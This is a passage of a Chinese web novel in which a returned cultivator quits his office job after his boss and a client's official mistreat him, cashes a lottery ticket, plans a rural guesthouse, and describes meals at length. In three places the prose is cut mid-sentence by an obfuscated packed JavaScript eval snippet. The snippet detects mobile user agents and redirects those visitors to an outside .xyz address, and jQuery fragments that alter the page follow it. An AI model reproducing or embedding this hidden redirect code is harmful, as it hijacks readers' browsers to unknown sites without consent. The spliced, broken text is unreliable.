或者有命结丹也成,那时候就能完全随他心意,不想听不想看的,统统屏蔽掉就好了。 结丹还遥遥无期,安斯年摸摸手机,那张还没兑现的彩票就压在手机壳里。 要不,往市郊偏僻点的地方买套房子? 估摸一下,除去装修和未来一年的花用,他最多能承受二百五十万的首付款吧。 首付比例按照三成计算,总价也就是不超过八百万的房子,以S市现在的房价来看,最多也就一百平米出头。 ……拿来布个灵气防护阵都不够。 要是买了,可真就是个二百五了,还不如拿来投资呢。 可做点什么好呢? 安斯年和冯乐乐分享着下午茶,一边琢磨。 五点整,牛俊和抱着泡枸杞的保温杯晃了过来,“小安啊,等会儿坐我的车一起走。”目光扫过他的狗头T恤,脸色一沉:“不是让你收拾一下,换件正经点的衣服?” “牛总,这叫反差萌。” 安斯年面不改色的胡说八道:“纯真中带着野性,青涩里透着不羁,现在就流行这款。” 说话间微微弹出一缕指风,枸杞茶汤立刻开始晃荡,漫出了杯沿。 牛俊和被烫得莫名其妙,手忙脚乱的护住杯子,骂骂咧咧的回办公室擦手去了。 冯乐乐在隔板后憋笑憋的发抖,发来信息:“你完了,老牛今晚肯定把你往死了灌。” 灌就灌吧,正好看看粮食酒有多少能量。 安斯年回她:[微笑] 暮色刚刚来临时,安斯年跟着牛俊和钻进了他那辆二手奥迪。 4. 煲仔饭 安斯年坐在副驾上,若干股不同的香水味混着皮革味很有点刺鼻,后座某个地方散发的味道更是不可言说,瞬间坚定了他远离都市的决心。 还好,开了半个来钟头就到了。 农家乐藏在城郊结合部的荔枝林里。 五月的荔枝已经硕果累累,涨成一串串小红灯笼,挂满了浓绿的枝桠。 十几只走地鸡突然从树根后散开,扑棱着各色羽毛的翅膀,在林子里表演凌波微步,领头最胖的那只胡须鸡头顶三根呆毛,爪子还勾着半块摔碎的鸡蛋壳。 穿过一道长着青苔的竹篱笆,木牌坊上歪歪扭扭的写着“荔香居”三个字。 有人端着簸箕从后院出来,热情推销道:“糯米滋要哇?甜过初恋哦。吃完饭来摘几斤回去?” 这比喻…… 安斯年蠢蠢欲动的心瞬间就死了。 他的初恋回忆起来,要是论味道,那应该是满嘴的霉味,倒霉的霉。 又苦又涩,还带着点恶心,一点也不甜。 往深了想,还很大可能是他心魔的成因。 夜风徐徐吹来,空气中弥散着清甜的果香,美食当前,安斯年拒绝再思考前男友那个人渣。 再走几步,穿过挂满霓虹灯串的木结构回廊,李主任早已等在了包厢。 这是个四十出头的发福男性,穿了件浅色的POLO衫,看见安斯年时眉梢微挑,指了指身旁的椅子:“小安比上次见更清爽了,来,坐这儿。” “李主任过奖了。” 安斯年自然的坐下,任由对方拍打了一下肩膀,耳朵里,那人的脉搏快得像刚跑完了一场马拉松。 有这么激动么?他随意看了对方一眼,脸色明显有点红,大概是有高血压吧。 牛俊和殷勤的倒上茅台:“我们小安特别崇拜李主任,今天专门带他过来,陪您好好喝几杯,您看,那个建材检测报告的进度,以后就让他负责怎么样?” “……崇拜可不止是嘴上说说。” 还没开始喝呢,也许是天气太热吧,李主任解开了领口,以手扇风,目光上下打量着安斯年调侃道。 安斯年暂时忽略了那道油腻的目光,盯着自己的酒杯。 茅台呢,算顶尖的酒品了,先试试再说。 “李主任,我敬您一杯。” 一杯高度酒下肚,半丝灵气冒了出来,含在幼苗两片叶芽之间要吐不吐的,比他预想中的少了些。 茅台是非常优质的高粱品种酿造的,叫做红缨子高粱,淀粉含量极高,工艺也复杂,一斤酒实际的用量至少得五斤的粮食,这杯25ml的精粹能量,怎么也不应该比钵仔糕还差啊。 难道,这里面添了其他的谷物,是高仿的? 酒是牛俊和自带的,也是他指定地点采买的,以他斤斤计较的个性,要是假的那可一点也不出奇。 放下酒杯,安斯年的兴致锐减了一半,耳旁李主任凑近了说: “呦,挺爽快啊,小安,这近一点仔细看看,你皮肤真是好,又白又嫩的,听说,你以前还做过爱豆?娱乐圈里混着不容易吧,那种……事儿是不是挺多的?” 说着话,桌布下一只手正顺着他的大腿向上移动…… emm~ 剩下的一半兴致也光速湮灭了。 安斯年有点可惜,竹筒饭还没上呢,看来没机会吃了。 这场面他没法忍,走人吧。 他轻轻一拍桌面,“轰”的一声巨响,大圆木桌彻底塌掉,紧跟着,桌面的酒瓶酒杯、凉菜什么的,“铛啷啷”的摔到遍地都是。 牛俊和动作极快,“哎呦”一声,用和他微胖身体毫不相符的速度跳了起来,免遭劫难。 李主任捏着筷子反应迟缓……不,大将之风纹丝不动,伤倒是没伤着,被溅了一身的料汁,浅色衣服上浓油重酱,奢品小牛皮鞋面上,还挂着两颗葱花、半根海蜇。 啊这…… 安斯年默了默。 他没打算掀桌子的。 他只是想借着拍桌子起身,顺便遮掩着手法,对那俩人实施一些小小的惩罚。 是地球肉身对灵气运转还不熟练的原因吧,一下子用力过猛,失控了。 算了,桌子塌就塌了吧,要么是用得太久要么是质量不好,只要他不认,那就一切不关他的事。 没再理会呆愣的二人组,安斯年转头出了门。 包厢里,李主任被这‘意外’搞得一身狼狈,小猎物跑了,饭也吃不下去了,抓起手包起身就走。 牛俊和一边腆着笑脸给人赔礼道歉,一边唾沫横飞的跟老板理论,可惜形势比人强,几个壮硕的服务员一露面,最后只能全款结算了菜钱,另赔了大几百的桌子钱。 车道旁,安斯年等网约车的这会儿功夫,回头再看了看荔枝林里隐约的灯火。 今天这顿饭虽然很失败,但意外给了他点提示。 也许,找个合适的地方开个农家乐? 既能躲避都市的喧嚣、解决修炼异象的问题,也可以赚些钱维持生计. 自己的厨艺,再加上后期用灵气培育的食材,那还不得被挤爆了大门…… 不,农家乐还是太过嘈杂了,做饭虽然没问题,可全部精力都扑在做饭上,哪儿还有时间参悟大道? 类似就好。 那……民宿? 房间不需要太多,卫生嘛请个钟点工收拾就行,饮食就随自己喜欢,当天做了什么客人就吃什么,不愿意吃那也不勉强。 这么一想开个民宿确实还挺省事儿的,既清净又不会完全脱离社会…… 安斯年琢磨着上了车,打开手机搜索相关信息。 回到小区门口下了车,扑面就是一阵熟悉的香味。 是开了很多年的一家快餐店,专供煲仔饭。 竹筒饭没吃成,煲仔饭也不错。 安斯年进店点好了单,继续刷着手机。 十来分钟后,餐品就送上来了。 掀开沙煲盖子的瞬间,白雾混着焦香“噗”的炸开。 香菇吸饱了鸡油,菌褶里汪着金灿灿的油脂。 走地鸡鸡腿肉被腐乳腌制的泛红,骨头缝里都是颤巍巍的胶质。 油珠顺着沙煲内壁滚落下去,把底下的米饭煨得“滋滋”作响——听这声音就知道,锅巴已经被烤成焦糖色的脆壳,用铁勺一刮,碎开的饭渣会脆得像炸虾片,但嚼着又会渗出豉油咸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15730999|174018||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 甜的香味。 安斯年用勺子浇了点味极鲜,微微搅和两下,舀起混着锅巴的饭往嘴里送—— 嘶嘶~ 修士的皮厚肉糙在这儿一点不管用,被烫得不停的哈气。 不愧是老字号了,鸡肉的火候超级棒,皮滑到筷子都夹不稳,厚切的香菇更绝,牙齿刚刚陷进肥厚的菌肉里,滚烫的汁水就喷了出来,混着爆炒过的红葱头香气直往鼻子里钻。 太香了,可也太烫了。 得恰上一大口冻柠茶降降温。 安斯年正全身心沉浸在香菇滑鸡煲仔饭里,桌上手机亮了一下。 是冯乐乐的信息。 “听说你闯大祸了?” 冯乐乐这家伙,消息可够灵通的。 上了这一天的班,社畜阶段的回忆越来越清晰。 那个李主任说的没错,大学毕业后,他确实混过快一年的娱乐圈,没什么特长,纯粹因为脸,被人用一杯奥利奥麦旋风忽悠进去的。 还因此参加了一个全国知名的选秀节目。 只是后来因为这样那样的原因,被淘汰在倒数第二轮上。 他也没什么心思想红,干脆不混了,来到S市正经投了简历,找到了现在的这份工作。 实习的五个半月,没资历没后台又没人脉,经典的三无人员,除了一张好脸,几乎没什么可让人讨论的。 争名夺利他够不上格,冷眼排挤那倒也不至于,毕竟都是打工人嘛,轻易不会随便得罪谁,就这样且混着呗。 前前后后认识的几十个同事,基本都是点头的交情,唯有冯乐乐真心有个姐姐模样,手把手教他使用各种器材、办公软件不说,人前人后也是极尽维护。 两人关系越处越好,已经跨越普通同事达到“饭搭子”的境界了。 就连早上被敲诈的那顿‘下午茶’,隔不了一两天,肯定也会被她以其他名目再还回来。 如果他还留在公司的话。 安斯年没顾上回信息,把沙煲倾斜着亮出了底部,他得全心全意先把饭干完。 十分钟后,茶足饭饱,再点上一盅杏仁银耳炖木瓜,充当饭后甜品。 他拿起手机开始八卦。 “怎么就闯祸了?听谁说的。” 冯乐乐的语音消息跟甜品一块到的,估摸着这声音可能会比较刺激,安斯年点击转了文字: “年仔你特马把李魔头泼成酸菜鱼了?恰饭群都快传疯了。” 再看看后面跟着的图片——李主任浅色POLO衫上泼墨般的油渍,确实像条翻白眼的胖头鱼。 这谁拍的?当时在那农家乐里居然还有公司的人? 这乱糟糟的构图,乌漆嘛黑的成像效果,有一说一…… 拍的挺好。 “我们还加班呢,老牛居然回办公室了,一边骂一边还把保温杯给摔了,还说明天要让你见识一下什么叫做社会险恶!” 新消息跳出来时,安斯年把最后一口冻柠茶吸得哗哗作响,冰块撞击声中,空间里的幼苗终于吐出今晚第三丝灵气。 开心啊,所以他回了两个字:【嘻嘻】 就这样吧,明天让大家来看看,这社会,到底有多险恶。 5. 干炒牛河 炫完甜品,安斯年也没急着回家,超市得去逛上一圈。 屋里那口空的冰箱,简直碍眼。 还有一个空的花盆,不如先种点葱姜蒜什么的,既不费事,又是开伙所必备的。 想到了空盆,他就想起了小樱,走在人行道上直接就闭了眼,内视了一下。 好家伙,一天的功夫,差不多又大了一圈,占据了空间整一侧的角落,就是花的颜色变淡了些,似乎有向粉色转移的趋势。 四周飘散的灵气流从它身上抚过,花蕊和叶片欢喜之极的簌簌抖动着。 再这样长下去,空间估计也待不了多久了吧。 小樱是株勒杜鹃,又叫三角梅,是南方最常见的攀援灌木,有记载的最高记录达到了二十六米,相当于九层楼那么高,自己的空间根本不知道怎么来的,天赋也未知,但大概率没它长得快。 加上藤宝又是一副嫌弃的模样…… 安斯年打算把民宿的规划正式搬上日程了,到了郊外,再把这株吸收过灵气的植物移栽出来。 睁开眼,神识回归,继续向超市走。 社区门口的惠民超市不算太大,但是新鲜的果蔬菜肉,普通品种的差不多都有。 安斯年拉拉杂杂的买了一大堆,各种零食、油盐酱醋,尤其是标注无转基因,生态等字眼的高级货,整整五个特大塑料袋,满载而归。 这几袋子刷掉了一千块出头,他脱离社会太长时间了,对金钱暂时失去了实感,只是到家后查了下银行余额,6345.82…… 啧,超市去一趟就用掉七分之一的存款,还是稍微有点心疼了。 一晚上,又在各种灵气试验中度过,空间内的灵气流已突破了二十。 安斯年心中有种模模糊糊的预感,突破一百后,空间会迎来一个不小的变化,至于具体是什么样的变化,他暂时还感应不到。 可没关系,很快的,按照一天二十的收获量,差不多五天就可以看到了。 比起这个,牛俊和的报复来的更快一些。 第二天晨会,投影仪突然在PPT翻页时黑了屏。 投影仪是安斯年负责的,没等他找出问题原因,牛俊和已拍着桌子开始了训话: “有些人啊,就是缺乏社会的毒打,什么事情都做得毛毛躁躁的!一个再简单不过的投影仪,一开一关就行了,为什么不事前做好准备做好检查?现在出了问题,全部人都等你一个么?我这里要点名批评一下,安……” 正说着,他头顶突然泛起星点的绿意,被乌黑油亮的发丝一衬,特别的明显。 最先发现异常的是财务部的一位女同事,她捂着嘴指向牛俊才的头顶:“牛、牛总您……” 众人抬眼望去,牛俊才的发丝间正以肉眼可见的速度钻出些嫩芽。 不是比喻,是真的植物嫩茎。 而且不止一根,是齐刷刷的一片!! 大家面面相觑,不约而同想起曾经流行一时的草头娃娃摆件——用丝袜把营养土包裹成娃娃形状,头顶均匀撒上草种,只浇水就能长得老高。 牛部长头上长的,也差不多一个样子。 只不过草头娃娃是呆萌可爱,真人头上长了,而且是大家眼看着长起来的,这画面就有点惊悚了。 会议室陷入诡异的死寂,直到冯乐乐憋出一句: “牛总,您的头发……绿了。” 牛俊和莫名其妙的摸了摸头,转眼往会议室窗户玻璃上瞅了瞅,“啊”的一声惊叫后站了起来,他也顾不得撞翻在地的椅子,猛地一下扯掉了头发……不,发套。 秃得不那么彻底的头上,还保留了一小撮稀疏的花白发,看上去有点可怜,又有点滑稽。 “噗”不知是谁最先笑出了声。 牛俊和死死望去,却又看不出到底是谁在笑。 在座的不是捏鼻子就是揉脸,还有直接摸着脑门手挡着脸的,总之没有一个人和他对视。他鼻子里喷出个“哼”,弯腰捡起发套,风一般直奔了洗手间。 安斯年若无其事的上前两步,把地上的椅子扶了起来,顺势坐下,继续捣鼓投影仪。 嗯,没错,他干的。 前一晚在农家乐,桌面上不知从哪里飘过来的几粒草籽,就在安斯年拍桌子的当口,被他送到了那两位的身上。 本来没那么快发芽的,可谁知道就是有人想往枪口上撞呢。 他懒得再听牛俊和含沙射影的无事生非了,用掉一丝灵气,暗中施了法术。 是炼气期就能掌控的三个木系法术之一,“枯荣”。 左手可凝聚黑色腐化雾分解物质,右手则是绿色的光芒可以催生植物。 反手枯覆手荣,这些植物的生与死,也只在安斯年一念之间。 几粒微小如尘土的草籽,在枯荣诀的催生下,把牛俊和的发套当做了培养基,为他的职业生涯增添了一个绿色的传说。 惩罚过了,公司也懒得呆下去了。 辞职信是在茶水间里打印出来的。 安斯年特意选了楷体加粗,在“世界很大”后面手画了颗简笔幼苗。 牛俊和的批复来的很快:扣发季度奖、拖延离职证明、要求归还半年期间所有办公用品。 “连工位上那颗发财树也要我赔钱?”安斯年举着‘离职交接清单’气笑了,“那不是我自己买的么?” 行政专员眼神闪躲,有些羞愧,“牛总……牛总说你用公司的地方,公司的水养了半年……也不多,就扣了300块……” 帮着整理私人物品的冯乐乐有些看不下去了,小声怼道:“要不要空气也折现啊?年仔呼吸了半年呢。” 安斯年被逗乐了,懒得继续掰扯,爽快签了字。 离职的事情搞定了,他还得请‘饭搭子’再吃个散伙饭。 冯乐乐才敲诈过一顿下午茶,很有点不好意思,“就公司楼下那家茶餐厅吧,我想吃烧鹅饭了。” 那家是公认的味美价平,这是想替自己省钱吧,安斯年笑了笑,欣然答应了。 转眼就到了下班时间,两人坐电梯直接到了负一楼。 装修成骑楼风格,霓虹闪烁的茶餐厅里,做旧的吊扇在头顶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15731000|174018||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嗡嗡的打着转,他们运气挺好,正好有一桌空位,两人赶紧坐下,很快就选好了想吃的东西。 菜上的很快,安斯年用筷子尖挑起河粉,半透明的沙河粉还在微微发颤。 每一条都均匀裹着琥珀色的酱油包浆,却奇异的不见半点油星,断口处露出白嫩的米芯,这是猛火快炒的结果——外层焦香酥脆,内里仍然保有稻米的清甜。 嚼上一口,比嫩更美妙的滋味,是那一层若有似无的脆边,焦糯弹牙。 苏打水捶打过的黄牛肉,在滚油里蜷缩成完美的波浪形状,被薄芡锁住的肉汁随着咀嚼渗出,混着老抽的浑厚和干辣椒的野性,烫得人边哈气边往嘴里塞。 迅速干掉一盘,将玻璃瓶的冰镇豆奶一饮而尽,安斯年朝着厨房喊了一句: “老板,再加一份干炒牛河,要锅底带点焦嘅。” “你吃的是干炒牛河么?”冯乐乐顿时笑场了,“你这吃的明明是干炒牛俊和!哈哈哈哈” 安斯年也被逗笑了,然后继续埋头干饭。 冯乐乐可没他这么大的胃口,早就吃得差不多了,这会拿着手机随意刷着,嘴里闲聊:“唉,说真的,现在假发的质量可真好,我以前怎么没发现老牛是个秃子?” 安斯年暴风吸入“嘶嘶~”,太烫了“哈哈~” 冯乐乐:“你这工作辞的,虽然确实突然了点,但还真是没毛病,要不然就这两天的事儿闹的,你看着吧,老牛绝对要整死你的。” “……今天这个,跟我没关系吧”安斯年抽空答一嘴。 “怎么会没有?” 安斯年的筷子微顿,就听冯乐乐继续说到:“都知道他在批评你呢,结果一下出这么大的丑,就算不是你干的,那这帐也得算你头上,人心本来就是这样,看你不顺眼了,以后只会越来越不顺眼。” 还好,还以为手法出了纰漏,被她看见了催生时发出的绿光,安斯年松口气,继续挥舞筷子,可下一句…… “你别说,老牛头上长草这事儿确实挺诡异的,你该不是跑哪儿学了点魔术故意整他的吧?我真的觉得你这两天变化就挺大的……” “嗯?”心又提了起来。 “你看啊,吃饭这么长时间,你居然都没摸过手机?这合理么?” 安斯年“……” 微微抬头,他环顾四周,满满当当的大堂里,几乎人人都在刷着手机等着上菜,有的即使桌面已摆满了,可仍然是一边看着手机一边往嘴里塞东西。 好像不就着点电子榨菜,这饭就吃不下去了似的。 对此安斯年没法反驳,他没穿之前也是个‘低头族’,只不过被长达三百年的强制局戒断了而已。 这话冯乐乐也没指着他回答,继续说:“不说这些了,年仔,你离职后怎么打算的?开始投简历了么?我有个前同事在碧园那边上班,老房企了,我帮你问问他们那边要不要人。” 安斯年咽下嘴里的牛河,赶紧道个谢,“谢谢乐姐,但不用了,我不打算上班了,准备找点其他事儿做做。” “做生意?真发财了啊?” 6. 云吞面 安斯年想了想,除了中彩票和修仙的事儿,其他也没什么好隐瞒的,正好也听听别人的意见。 “是想做生意,但哪里能发财啊?家里给凑了点,勉强先试试吧。” 放下筷子,用手机扫码下单了两碗芒果西米露做甜点,他接着说道:“主要做了这半年的牛马,感觉我实在不适合这个行当,我做饭的手艺还行,想找个僻静点的农民房,改造一下,弄个民宿,乐姐,你觉得可行吗?” 冯乐乐来了点兴趣,她一个E人,平时就喜欢和男朋友到处去吃喝逛玩,民宿那更是没少去过。 “可以啊,要不就海沙那边?靠着海,又有山,可多民宿了,都挺火的,一到放假的时候约都约不上。” 安斯年想了想,从记忆中挖出海沙的相关印象,摇摇头,“不了,我想要清净点的地方,那边的沙滩跟下饺子似的,人也太多了点。” 冯乐乐也没勉强,只是又说:“那你开始准备了么?听说手续可复杂了,五证一照呢,尤其是那个什么……那个‘特种行业许可证’,对,是叫这个名字,办理时需要的材料挺多的,平面图、消防图、产权证明什么的,啰里啰嗦一大堆。” 安斯年一听,稍微有点头大。 他之前脑子就起了这么个念头,除了还躺在福彩中心的四百万现金,多余的,那是半点准备也没有。 甜品很快就上来了,安斯年直起腰从服务员的餐盘里端下来,推到冯乐乐面前:“乐姐,你知道挺多的啊,有朋友做这行的?” “听我家老曾说的啊,他前两月接了个客户,租了个农民房也是想搞民宿,他帮着人跑手续,还收了挺大的一个红包。” 老曾,全名叫做曾凯,是冯乐乐谈了四年多的男朋友,今年已经订了婚,可以晋升为未婚夫了。 安斯年也曾见过两三回,是曾凯开着尼桑来接冯乐乐下班的时候撞见的。 他对这人印象不深,就记得皮肤挺黑,好像是个地产经纪,感觉人面挺广的。 既然有熟人可用,他也没矫情,“是么?那能让曾哥帮我找找房源么?大概要求就是靠山面海,僻静一点,楼层嘛,三层最佳,两层也无所谓,不需要太大,但一定要有自己的院子。” 冯乐乐喝了一勺西米露,满口答应,“这简单,晚上回去我和他好好说一下,另外还需要哪些资料的,回头我发个清单给你。红包什么的就免了啊,真办成了,请我俩吃顿好的就行。” 说完了,看着手里的甜品还有桌面没撤走的碗碟,自己都忍不住笑了:“这么快,看来你又要欠我一顿饭了。” 安斯年笑弯了眼。 愉快的一餐晚饭。 上楼回公司端上那盆发财树,用纸箱装好了个人物品,下楼打了个车,他彻底告别了社畜生涯。 回到出租屋,先给绿植浇水。 昨晚种下的葱和蒜,明显比在超市的时候精神多了,纤长的叶片青翠欲滴。 旁边的绿萝还是那么的好养活,似乎只喝水就能一直活泼的长下去。 新加入的发财树还有点萎靡不振,这可是扣了三百软妹币才带回来的,也不知道到底是发财啊还是破财了。 照顾好外面的植物,再去看看空间里的。 安斯年在床上盘腿坐下,闭上眼牵引神识。 这里的变化不大,角落的小樱依然开得烂漫,本命灵植的幼苗还是只有两片芽叶,到处漂浮的灵气流却多了不少,微一感应,整整四十三缕。 他蹲下身,在幼苗的芽叶上轻轻触摸了一下,嫩芽微微抖动,回了他一个蹭蹭。 安斯年笑了笑,起身准备退出空间,神识微动,突然发现空间内的灵气流变成了四十四缕。 嗯? 难道感应错了? 他再次数了数。 没错,确实比刚进来时多了一缕。 哪儿来的?他这会儿没吃东西啊…… 安斯年疑惑的走到小樱旁边,仔细盯了一会儿,红粉的花瓣中间,嫩黄色的花蕊闪着微光,几百朵星星点点的微光聚拢在一起,缓缓化作半丝的灵气。 ! 只要种到空间里了,植物就会自动进化到能产生灵气? 安斯年睁开眼,扫向窗台上的那几株。 一会儿的功夫,三株绿萝,一株发财树,还有小葱、大蒜苗,统统在空间的各个角落里安了家。 他心满意足的拍了拍手上的黑土,照这个理论来看,空间里的植物越多,灵气产生就会越快,凑满一百丝应该都用不了五天了。 明天要再张罗些植物回来……不,差点忘了,明天已经约好了去兑现彩票。 钱还是要尽快到账才行,四位数的存款实在让他太没有安全感了。 洗漱完躺在床上,随意刷着手机,手指不听使唤的点进了通讯录,盯着“安兴文”“梁好彩”两个名字,就这样不知盯了多久,可最终还是没能拨打。 早上七点,安斯年睁开了眼。 自从放弃了周天运转,他连晨昏打坐入定的功夫都省了,任由灵气在身体每个末梢自由蔓延。 这样做,坏处是完全没有前车之鉴,他完全搞不懂自己现在的境界,别说他搞不懂,估计就算回到九嶷,那几个化神期的大能都不一定搞得懂。 可好处也是很明显的,一天二十四小时,身体自发的在修行功法,进展飞速,一刻也没耽误。 也就睡了这一夜的功夫,他已经感觉到神识又壮大了一分,伸出右手指尖,一根嫩绿的苗芽冒了出来,渐渐粗壮、越伸越长,伸向了左肩肩头…… 伸进被窝里拱了拱,将身上的空调被挑开。 安斯年收了神通,坐起身下了床,一时神清气爽。 简单洗漱了一下,就想起今天要去兑奖的事儿…… 刚毕业那几个月,他也曾经做过暴富的美梦,买过些彩票,最高中奖金额高达十元! 后面在娱乐圈跌跌撞撞小一年的,见了太多的浮夸,他的心性倒是沉稳了不少,就没再买过了。 可没想到他都放弃做梦了,吃个火锅遇上人家搞活动,也能撞上这么个头彩。 好歹做过一段时间公众人物,领奖的时候还是得把脸遮一下吧。 记忆中彩民领奖时带了各式各样的头套,或者穿着玩偶服,那么问题 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15731001|174018||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来了,需要买么?在哪儿买? 不明白的问题那就求助万能的网友。 安斯年拿过手机,随手在小红薯发了一贴: 【等会要去领奖了,头套需要自己买么?】 放下手机,先吃早饭。 回来已经两三天了,附近几家口味好的餐厅都已经尝试过了。 其实不夸张的讲,美味的只是回忆,真到了嘴里,还是他自己做的东西更好吃。 今天又不用赶时间,他决定要自己开火。 打开冰箱看看之前买好的食材,OK,早餐就吃云吞面好了。 说起云吞面,重点无非三个: 汤、面、馅。 汤是高汤,各地的做法不同,适用的菜品不同,各人的口味也不同。 云吞面里的高汤,安斯年喜欢猪骨和鸡骨混合炮制,加少许的姜片、干贝、干虾仁,再用大地鱼提鲜。 他快速收拾好食材,先把汤炖上,接下来就是和面。 粤洲的云吞其实就是馄饨,蓉洲那边喜欢叫做抄手,它的皮和汤里的面条,按照最正宗的做法,应该选用竹升面来制作。 配料倒也不难,面粉和鸭蛋,少许的碱,一滴水也不用加。 这样的面为什么不叫鸭蛋面? 其实是因为制作时的工艺。 和好面,揉成团之后,以前的老师傅会把面团放在案板上,用大竹竿压着,然后骑在竹竿的另一头,脚一蹬,一翘一落,面条均匀受力,渐渐摊开像条毛巾一样。 这样做出来的竹升面爽脆弹牙,韧劲十足。 好吧,其实就该叫竹竿面的,但众所周知的原因,粤洲最是讲究吉利的地方,“竿”字便被更吉祥的“升”字替代,变成了竹升面了。 安斯年倒没那么好的兴致,坐在竹竿上橡根跳舞的弹簧似的压面。 但为了让面团沾染一些清淡的竹香,他还是忍痛将昨晚买的春笋抽出一根,用枯荣诀催生成小胳膊粗细的竹竿,截取一段当做擀面杖。 剩下的,等什么时候有空,可以用来做一顿心心念念的竹筒饭。 面压成薄片后,正方形的是云吞皮,细长的则是面条,统统搞定了,剩下就是云吞馅儿了 肥三瘦七的猪肉先切后剁,虾仁切小块,加上生抽、耗油、白胡椒粉等等调料,混合后搅打上劲,再少量多次的加入姜葱水,顺时针方向搅打到完全吸收,静置,等待入味。 大概一刻钟吧,可以开始包云吞了,这个是最简单的,捏角就好。 最重要的主材料都好了,配料也要花些心思,小葱香菜切段儿,鸡蛋摊成饼切成丝,油绿的生菜洗上几片,等到一切就绪,一海碗的云吞面上了桌。 蒸腾的热气中,绿的绿,黄的黄。 晶莹的云吞皮薄透亮、一口爆汁,面条细溜顺滑,面汤能鲜掉眉毛。 安斯年左手勺子右手筷,一顿风卷残云。 啊,爽。 舒舒服服吃完一顿早饭,等锅里的高汤继续熬制的功夫,他打开了小红薯。 一看,红彤彤的99+! 他小吃一惊,立刻点开了。 7. 红油抄手 帖子下面盖起了高楼。 1F:又疯一个,抬走 2F:放心,十块大奖我经常领,毛事没有,不用戴 3F:避孕套实际一点,大家一起帮你捐捐 4F:不用这么麻烦,票快递过来,我帮你领吧 5F:领钱的时候要表现得像个精神病晚期,这样他们就不敢对你动手 …… 安斯年:“……” 都是些什么品种的沙雕,就一个简简单单的头套问题,需不需要自己买,不该是两字就解决的么,要或者不要? 翻到16楼,好歹有人正经了些:“中多少?” 他回复:“一个头奖,500W” 对方秒回:“税后才400W,那不需要戴头套,记者没空采访你,主任的马仔也没空帮你写故事。” 才? 这届网友口气略大啊。 这条评论下多出了几条回复,第一条就说出了他的心声—— 【才400万???】 【兄弟!天这么冷,让我在你口袋里暖暖手吧。】 【从小就最烦你这种装B犯,有这钱都可以去找个几把铁饭碗了,装什么装?yue】 【介意多个儿子吗?上过大学吃不起饭的那种……】 楼主回复了第三条“看得出来,你没钱、没工作、没自由,这几把人生连几把都没有,你无敌了。” emm……而且嘴有亿点毒。 道理虽然是这么个道理,可安斯年不是怕被人认出来嘛。 他已经准备放弃求援了,总算冒出个靠谱的。 38F:不用买,现场有,我领过。 这才像话啊,多么真诚的答案。 安斯年看看这位名叫“跟我说话别破防”的网友…… 嗯? 这不就是刚才那个16F么? 点进人名儿去看了一下,这人没发过贴,粉丝倒是不少,似乎很善于用……嗯,偏犀利的方式,在别人帖子下帮忙解决各种问题。 倒挺有意思的,他顺手点了个关注。 汤熬得差不多了,关上火,换好衣服,出门的时候已经快十点钟。 应该是时间点的原因,一路居然挺顺畅的,就是网约车司机太能聊了,自他上车起嘴就没停过,从天气到经济走势,再从内娱八卦到精致育儿……包罗万象。 安斯年偶尔回个语气词“嗯,啊”的,这位也一直坚持着把独角戏唱到了目的地。 但他话少并不是嫌烦,他只是不知道该说些什么。 这位的状态他其实挺熟悉的,在九嶷大陆的时候,建好了私家洞府独居后的第一二年,他也是这个模样。 太寂寞了,逮着只苍蝇都能聊到天荒地老的感觉。 至于后来……话越来越少,反应甚至会慢上半拍,还养成了自言自语的习惯。 回忆中,彩票中心到了,这里面积挺大,装修倒是很简单,进到专用通道里,说明来意,安斯年看着一排的头套玩偶服犯了难。 倒不是审美的问题,主要是对他而言,这些头套的气味确实有些难顶。 安斯年:“不好意思,有新的、没用过的么?” 工作人员是个二十来岁的高个子女生,也许看在他脸的份上,挺爽快的拿出了一个新的包装袋现场拆封。 是个虾头的面具,还配了两个红红的钳子手套。 虾? 油焖大虾、蒜蓉开边虾、白灼虾……还有,安斯年回忆一下刚吃完的云吞面,肉馅里裹着的鲜甜虾仁。 是的,虾子放大做成头套后确实抽象了一点、过于丑了一点,可耐不住它做成菜的时候味道鲜美,他很喜欢。 那行吧,虾头就虾头吧。 戴上尖尖的头套,拒绝掉钳子手套。 安斯年开开心心的把奖票兑现了。 才办完手续,就撞见有人来采访。 ? 说好金额不高,不用采访的呢? 还好带了头套。 他简单应付了几句,走完了所有的流程。 出了彩票中心,安斯年拍了拍腰包口袋,深深吸了口气,啊,真是美好的一天。 眼神不经意的划过,不远处花鸟小镇大大的招牌映入了眼帘,西式风格的门楼上爬满了装饰绿植与鲜花,风车状的地标被整片郁金香簇拥着,很有些异域风情。 这不巧了么? 他正想买点植物种子呢。 